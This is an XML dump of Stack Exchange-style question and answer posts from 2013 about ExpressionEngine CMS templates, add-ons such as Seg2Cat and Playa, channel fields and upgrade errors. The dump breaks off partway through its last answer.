  <row Id="2480" PostTypeId="1" AcceptedAnswerId="2482" CreationDate="2013-01-09T11:36:21.357" Score="4" ViewCount="189" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; to retrieve the third segment of my url and pass it as category to filter a listing page. Problem is that when third segment is empty I have no-results, where I was expecting a full list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; category=&quot;{segment_3_category_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;URL : my_template/my_category [wohoo, get right result!]&lt;br&gt;&#xA;URL : my_template/ [uh oh, no results at all :'/ ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally in a situation with an empty category i.e. &lt;code&gt;category=&quot;&quot;&lt;/code&gt; it returns all results, so it is like Seg2Cat is passing some kind of string filtering category with one that doesn't exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, this code works just fine, it returns all posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; category=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="740" LastEditorUserId="77" LastEditDate="2013-01-09T12:06:06.220" LastActivityDate="2013-01-09T14:51:37.737" Title="How to deal with Seg2Cat no results in channel query" Tags="|categories|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2481" PostTypeId="1" AcceptedAnswerId="2483" CreationDate="2013-01-09T12:04:29.320" Score="3" ViewCount="662" Body="&lt;p&gt;I have a channel called &quot;products&quot; which contains a Playa field called &quot;chemistry-group&quot;. This field allows a relationship between a product and one or more chemistries. For instance, &quot;Copper Iodide&quot; is related to the &quot;Copper&quot; and &quot;Iodine&quot; chemistry groups. No problems there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of administration, the playa field needs to exist in the product channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is create a page for each chemistry that will look in the products channel and list any products where a relationship exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do this with reverse_related_entries but since each product can be in more than one group I'm unable to use the native relationship field (as this only allows a single relationship - or have I gone nuts here?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble getting my head around setting this up, can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-09T12:22:42.323" Title="Getting reverse related entries via Playa" Tags="|playa|related-entries|reverse-related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2482" PostTypeId="2" ParentId="2480" CreationDate="2013-01-09T12:15:32.137" Score="7" Body="&lt;p&gt;By default the Seg2Cat extension will only populate the &lt;code&gt;{segment_n_category_id}&lt;/code&gt; vars if the corresponding segment is present. So in your case when segment 3 is blank the &lt;code&gt;{segment_3_category_id}&lt;/code&gt; var does not exist so it's passed to the channel entries tag as a raw string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this you can tweak the extension settings and set &quot;Set all segments&quot; as Yes. This will ensure that an empty var will be set if no match is found and the channel entries tag should behave as intended.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-09T12:15:32.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2483" PostTypeId="2" ParentId="2481" CreationDate="2013-01-09T12:22:42.323" Score="6" Body="&lt;p&gt;I've worked it out in a moment of clarity and by re-reading the excellent Playa documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag pair I wanted was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;products&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So on my chemistry page I'd have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;products&quot;}&#xA;    &amp;lt;a href=&quot;/products/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows me any entries from my products channel that are related to the entry I am viewing from the chemistry channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was as simple as that!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-09T12:22:42.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2484" PostTypeId="1" AcceptedAnswerId="2497" CreationDate="2013-01-09T12:31:37.587" Score="6" ViewCount="821" Body="&lt;p&gt;Is there a way I can use the same field in more than one channel without purchasing an add-on?  I have an {image_description} field that I'd like to use in more than one channel.  Any work-arounds?  &lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-09T15:51:28.170" Title="same channel field on more than one channel" Tags="|channel|fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2485" PostTypeId="2" ParentId="2479" CreationDate="2013-01-09T12:34:51.077" Score="1" Body="&lt;p&gt;I think the issue may lie with the presence of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow&quot;&gt;related_categories_mode&lt;/a&gt; parameter, which is intended for a single entry view and not an entries loop returning multiple entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  When enabled, this parameter alters the behavior of the {exp:channel:entries} tag, causing it to ignore the entry ID or URL title found in the URL, and instead show a list of entries that are in the same category as the entry specified in the URL. This lets you create a list of entries that are “related” to the primary one specified by the URL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so your URLs in category viewing wouldn't have a single entry's url title or id, and so the loop fails to return entries.  You would want to use related categories mode on your full-post template perhaps, but not on your list view.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-09T12:34:51.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2486" PostTypeId="1" AcceptedAnswerId="2488" CreationDate="2013-01-09T12:38:01.203" Score="3" ViewCount="1079" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2226/how-do-i-display-a-category-name-based-on-a-segment&quot;&gt;How do I display a category name based on a segment?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I am trying to construct a Breadcrumb navigation system on my navbar. The URL will look like this: &lt;a href=&quot;http://mysite.com/case_studies/index/3&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/case_studies/index/3&lt;/a&gt; - where '3' is a Category ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to retrieve &lt;code&gt;{category_name}&lt;/code&gt; or similar dynamically. How can I do this? I have seen &lt;code&gt;{exp:channel:categories}&lt;/code&gt; but that seems to not let you filter by ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-09T12:50:31.873" Title="Get Category Name from a known Category ID" Tags="|templates|channel|categories|" AnswerCount="1" CommentCount="0" ClosedDate="2013-01-10T12:29:32.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="2487" PostTypeId="2" ParentId="2484" CreationDate="2013-01-09T12:39:09.320" Score="8" Body="&lt;p&gt;In the grand scheme of things, it's advisable to simply use such a field in each field group that requires it, since add-ons that would give you the ability to place a single custom field into multiple field groups (thinking back to the gypsy days) can complicate ongoing support and in particular your upgrade path in the future.  There are ways to make that considerably easier to handle though.  The excellent &lt;a href=&quot;http://devot-ee.com/add-ons/field-editor&quot;&gt;Field Editor&lt;/a&gt; add-on gives you the ability to mass-edit fields for a given field group as well as clone a field from one field group to another - so you set it up once just the way you like it, then clone it to all other field groups that require it.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-09T12:39:09.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2488" PostTypeId="2" ParentId="2486" CreationDate="2013-01-09T12:50:31.873" Score="4" Body="&lt;p&gt;Have you tried the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/category_heading.html&quot; rel=&quot;nofollow&quot;&gt;category heading&lt;/a&gt; tag pair?  Alternatively there is a great add-on from Low called &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Seg2Cat&lt;/a&gt; that lets you grab a bunch of info on a category-related segment in the URL.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-09T12:50:31.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2489" PostTypeId="2" ParentId="2484" CreationDate="2013-01-09T13:31:28.067" Score="9" Body="&lt;p&gt;I don't mean to be presumptuous, but you do know that you can assign the same field group to multiple channels, yes? That is the only way to use the same field in more than one channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people like to make one single field group that includes fields for their whole site, assign that same group to &lt;em&gt;all&lt;/em&gt; channels, and then simply hide the unnecessary fields using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot;&gt;publish layouts&lt;/a&gt; channel by channel.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-09T13:31:28.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2490" PostTypeId="1" AcceptedAnswerId="2491" CreationDate="2013-01-09T13:34:23.177" Score="2" ViewCount="266" Body="&lt;p&gt;Assuming that some collection fields are the same, can you search multiple collections in one search/search form?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-09T13:56:44.970" Title="Low Search - Can you search multiple collections in one search?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2491" PostTypeId="2" ParentId="2490" CreationDate="2013-01-09T13:56:44.970" Score="2" Body="&lt;p&gt;Yes. Treat the collection parameter as the channel parameter. Multiple collections are searchable, even if the collection fields are different.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-09T13:56:44.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2492" PostTypeId="1" AcceptedAnswerId="2493" CreationDate="2013-01-08T15:25:03.890" Score="4" ViewCount="135" Body="&lt;p&gt;I'm a beginner at ExpressionEngine, so I'm wondering if this is actually the right way to do things. Here's how my site is laid out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Construction&#xA;&lt;ul&gt;&#xA;&lt;li&gt;List of Construction case studies&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Case Study 1&lt;/li&gt;&#xA;&lt;li&gt;Case Study 2&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hydrology&#xA;&lt;ul&gt;&#xA;&lt;li&gt;List of Hydrology case studies&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Case Study 1&lt;/li&gt;&#xA;&lt;li&gt;Case Study 2&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sustainability&#xA;&lt;ul&gt;&#xA;&lt;li&gt;List of Sustainability case studies&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Case Study 1&lt;/li&gt;&#xA;&lt;li&gt;Case Study 2&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I have done is set up a Channel called &quot;Home&quot; for my homepage, and a channel called &quot;Case Studies&quot;, along with corresponding Channel Field Groups for both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of Templates, I have created a Template Group called &quot;Home&quot;, and a Template Group called &quot;Case Studies&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All is fine with the &quot;Home&quot; group. This is where I'm getting confused - with &quot;Case Studies&quot; Template Group, I have two Templates - &quot;index&quot;, and &quot;case_study&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From the homepage, users can click through to a list of all Case Studies within a Category&lt;/li&gt;&#xA;&lt;li&gt;From the list of Case Studies, users can click through to see an individual Case Study&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have gotten the list of  all Case Studies working, but I cannot find a way to filter it by category (via the URL or otherwise).&lt;/strong&gt; Is such a thing possible in EE, or am I using it in the 'right' way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried accessing &lt;a href=&quot;http://mysite.com/case_studies/index/hydrology&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/case_studies/index/hydrology&lt;/a&gt; to try to only show the Hydrology-categorised case studies, but they are all appearing.&lt;/p&gt;&#xA;" OwnerUserId="742" OwnerDisplayName="Jack W-H" LastActivityDate="2013-01-09T13:58:31.880" Title="ExpressionEngine - I'm a beginner, have I set up my Channels correctly?" Tags="|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2493" PostTypeId="2" ParentId="2492" CreationDate="2013-01-08T18:07:58.703" Score="5" Body="&lt;p&gt;If I'm interpreting your setup correctly, Jack, it seems you have the right basic setup and it may just be a couple of small edits you need to make to your setup to have the links work the way you intend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, go into Admin &gt; Channel Administration &gt; Global Preferences and ensure that you set &quot;Use Category URL Titles In Links?&quot; to yes (otherwise, rather than a category name, EE with us the category ID number).  You can also set your &quot;Category URL Indicator&quot; to &quot;cat&quot; or &quot;category&quot; - whatever you prefer to see in your URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case-studies/index template, you would then have a sidebar that would list your categories.  Basic example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;case_studies&quot; style=&quot;nested&quot;}&#xA;&amp;lt;a href=&quot;{path='case-studies'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add other parameters as needed, such as show_empty=&quot;no&quot; etc. This will link each category back to a filtered view of the main index page at case-studies/index with a url like mysite.com/case-studies/category/hydrology&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the index, you can add the category heading tag pair to dynamically add the category name, description or other custom category fields to the top of the filtered list, if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI - there's a dedicated ExpressionEngine community setup in StackExchange at &lt;a href=&quot;http://expressionengine.stackexchange.com&quot;&gt;expressionengine.stackexchange.com&lt;/a&gt; that'll help you get responses more quickly.&lt;/p&gt;&#xA;" OwnerUserId="20" OwnerDisplayName="Jean St-Amand" LastActivityDate="2013-01-08T18:07:58.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2495" PostTypeId="1" CreationDate="2013-01-09T15:09:13.873" Score="2" ViewCount="82" Body="&lt;p&gt;You probably looked at the title and said, &quot;what the heck?&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this on a detail page, a loop limiting to 1, but I want to conditionally do something for the newest item.&#xA;{if count == 1} won't help me here because it's already limited to 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;insights&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; disable=&quot;  categories|category_fields|member_data|pagination&quot;}&#xA;&#xA;{if you are the newest entry}&#xA;DO THIS&#xA;{if:else}&#xA;DO THAT&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-01-10T09:20:45.327" Title="Conditional for newest item in a loop limited to one" Tags="|conditionals|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2496" PostTypeId="2" ParentId="2495" CreationDate="2013-01-09T15:44:56.330" Score="3" Body="&lt;p&gt;Use the entries tag you are using but add the parameter offset=&quot;1&quot;. So your results will start from the second entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;insights&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; offset=&quot;1&quot; disable=&quot;  categories|category_fields|member_data|pagination&quot;}&#xA;&#xA;   DO STUFF&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additional...&#xA;Looking at the comments on the original question you seem to have expanded the scope to include a restriction on what a visitor sees based on their member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your registered member group id is, say, 6 you would simply use a conditional to check the member group then either include or exclude the offset=&quot;1&quot; parameter on your entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group==&quot;6&quot;}&#xA;    {exp:channel:entries channel=&quot;insights&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot;}&#xA;{if:else}&#xA;    {exp:channel:entries channel=&quot;insights&quot; limit=&quot;1&quot; offset=&quot;1&quot; dynamic=&quot;off&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show the most recent entry to registered members but show the second entry to non-registered visitors. No need to create special statuses or anything like that.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-01-10T09:20:45.327" LastActivityDate="2013-01-10T09:20:45.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2497" PostTypeId="2" ParentId="2484" CreationDate="2013-01-09T15:51:28.170" Score="8" Body="&lt;p&gt;Personally I would create a different field in each as sharing fields across channels has in the past caused me a number of issues when unforseen changes need to be made to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd perhaps then use a naming system for my fields - something like;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{channelA_shortname_image_description}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{channelB_shortname_image_description}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. your fieldnames might be (assuming you had channels &quot;people&quot; and &quot;products&quot;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{people_image_description}&#xA;{products_image_description}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then if the issue is that you wish to use the same template code regardless of which channel you're using then you can do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{channel_short_name}_image_description}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The {channel_short_name} would be dynamically replaced with the shortname of the channel you are accessing with your channel entries tag pair.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-09T15:51:28.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3497" PostTypeId="1" AcceptedAnswerId="3501" CreationDate="2013-01-09T15:57:27.927" Score="1" ViewCount="34" Body="&lt;p&gt;I am working on a site that I recently updated from 2.1.4 to 2.5.5. I am noticing that certain menu titles and field titles associated with the file manager module are not being pulled from the language files correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else seen this issue and/or found a fix for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ub3Xr.jpg&quot; alt=&quot;Here is a screengrab showing what I mean&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="609" LastEditorUserId="609" LastEditDate="2013-01-09T16:22:51.067" LastActivityDate="2013-01-09T16:35:46.783" Title="Language File Issue (File Manager Related)" Tags="|control-panel|updating|file-manager|multi-language|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3498" PostTypeId="1" CreationDate="2013-01-09T16:00:35.243" Score="2" ViewCount="799" Body="&lt;p&gt;I currently have a summary page that displays the links to 5 product categories (with a product image for each category) - the user clicks on an image is taken to a new page that displays all the products in that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I now need to do is have a new product category (c6) with 3 sub-categories (c6-a), with each of these sub-categories potentially have multiple sub-categories (c6-a-1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c6 &gt; c6-a/c6-b/c6-c &gt; c6-a-1/c6-a-2/c6-a-3 ...etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is getting EE to display the categories inside the 1st level of sub-category (c6-a) on a single page.  So that the user can select c6 from the top level of product categories, &amp;amp; then see the c6-a/c6-b/c6-c sub-categories displayed on a new page, and then click from that selection to see a single page displaying the products in, for example, the c6-a-1 sub-category (and then choose a product to view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would also need to be a breadcrumb trail at the top of each page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with this would be very much appreciated!!!  Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="418" LastActivityDate="2013-01-09T17:38:58.873" Title="How to display sub categories on individual pages?" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3499" PostTypeId="1" AcceptedAnswerId="3537" CreationDate="2013-01-09T16:11:55.953" Score="4" ViewCount="465" Body="&lt;p&gt;I'm running on my own &quot;multi environment config&quot; bootstrap file (https://github.com/madebymayo/ExpressionEngine-Environment-Config), but i've never used it with a site running on MSM (Multi Site Manager)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I ran in to the problem with the whole site not showing up, and giving me a 500 error. But I realised I hadn't added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['multiple_sites_enabled'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So after adding this in, the site started to show this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Site Error: Unable to Load Site Preferences; No Preferences Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've double checked my admin.php and index.php files are in each of my MSM folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing some sort of config hook to make my own config file work with a MSM site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-01-10T09:37:46.530" Title="MSM and Custom Bootstrap Config" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3500" PostTypeId="1" CreationDate="2013-01-09T16:27:14.533" Score="2" ViewCount="592" Body="&lt;p&gt;I'm upgrading from 2.5.2 to 2.5.5 and in the upgrade process everything went well until I tried to go from 2.5.4 to 2.5.5.  When I hit the link to upgrade to 2.5.5 I am now getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;= = =&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server error&#xA;The website encountered an error while retrieving &lt;a href=&quot;http://domain.com/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&amp;amp;ajax_progress=yes&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&amp;amp;ajax_progress=yes&lt;/a&gt;. It may be down for maintenance or configured incorrectly.&#xA;Here are some suggestions:&#xA;Reload this webpage later.&#xA;HTTP Error 500 (Internal Server Error): An unexpected condition was encountered while the server was attempting to fulfill the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;= = =&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this before?  Any advice greatly appreciated.  I can confirm that the server is up - it's just when I get this that I receive the error.&lt;/p&gt;&#xA;" OwnerUserId="560" LastEditorUserId="209" LastEditDate="2013-01-09T21:46:48.423" LastActivityDate="2013-03-03T22:08:33.523" Title="Getting server error upgrading 2.5.5" Tags="|upgrade|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3501" PostTypeId="2" ParentId="3497" CreationDate="2013-01-09T16:35:46.783" Score="1" Body="&lt;p&gt;Fixed - I uploaded the language folder within system again, overwriting everything. It appears to be working now. Not sure what I did during the update then!?&lt;/p&gt;&#xA;" OwnerUserId="609" LastActivityDate="2013-01-09T16:35:46.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3502" PostTypeId="1" CreationDate="2013-01-09T16:36:41.580" Score="1" ViewCount="157" Body="&lt;p&gt;I'm trying to use the switch variable with Matrix with no success - nothing is output. This is on the latest Matrix and EE 2.5.5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{panels}&#xA;&#xA;    &amp;lt;div class=&quot;panel {switch=panel-n1|panel-n2|panel-n3|panel-n4}&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2&amp;gt;{headline}&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;editor-content&quot;&amp;gt;&#xA;            panel_text here&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {if structure_page OR url}&#xA;            &amp;lt;a href=&quot;{if structure_page}{structure_page}{if:else}{url}{/if}&quot; class=&quot;cta&quot; title=&quot;{headline}&quot;&amp;gt;{cta}&amp;lt;/a&amp;gt;   &#xA;        {/if}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/panels}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions where I'm going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2013-01-09T16:43:49.333" LastActivityDate="2013-01-09T16:45:23.267" Title="Using the switch variable with Matrix" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3503" PostTypeId="2" ParentId="3502" CreationDate="2013-01-09T16:45:23.267" Score="1" Body="&lt;p&gt;Argh, sorry. Was missing quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch='panel-n1|panel-n2|panel-n3|panel-n4'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doh!&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-01-09T16:45:23.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3504" PostTypeId="2" ParentId="3499" CreationDate="2013-01-09T17:03:07.553" Score="0" Body="&lt;p&gt;Check to see if switching URI PROTOCOL in the config.php from 'AUTO' to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = &quot;PATH_INFO&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works for you. It's worked for me before.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-09T17:03:07.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3505" PostTypeId="2" ParentId="3498" CreationDate="2013-01-09T17:15:26.743" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;GWcode Categories&lt;/strong&gt;&lt;/a&gt; addon should get you what you need.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You basically pick a starting point first to get a list of categories and then narrow it down by choosing from a wide variety of parameters. Your starting point can be:&amp;gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One or more channels by using the channel parameter (to get the categories for those channels);&lt;/li&gt;&#xA;&lt;li&gt;One or more category groups by using the group_id parameter (to get the categories for those category groups);&lt;/li&gt;&#xA;&lt;li&gt;An entry (to get the categories the entry has been added to);&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;A category (to get its child categories, or parent categories).&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" 